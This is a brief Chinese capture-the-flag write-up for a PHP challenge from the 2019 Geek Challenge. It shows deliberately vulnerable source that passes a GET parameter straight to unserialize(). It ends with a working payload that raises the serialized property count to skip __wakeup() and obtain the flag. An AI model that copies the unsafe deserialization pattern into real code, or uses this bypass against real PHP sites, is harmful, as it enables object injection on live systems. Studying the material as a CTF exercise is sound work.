[极客大挑战 2019]PHP_wirteup

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下载文件，代码审计

代码审计

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'admin';  // private 类型
    private $password = 100;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';  //修改参数值 绕过__wakeup()
    }

    function __destruct(){
        if ($this->password != 100) {  // password = 100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {  //username === "admin"
            global $flag;
            echo $flag;  //最终执行成功
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

        }
    }
}
?>

flag.php

<?php
	$flag = 'Syc{dog_dog_dog_dog}';
?>

index.php

<?php
	include 'class.php';
	$select = $_GET['select']; //获得select参数，会经过反序列化，所以传递的select参数值应该是序列化之后的字符串；
	$res=unserialize(@$select); //反序列化
?>

payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}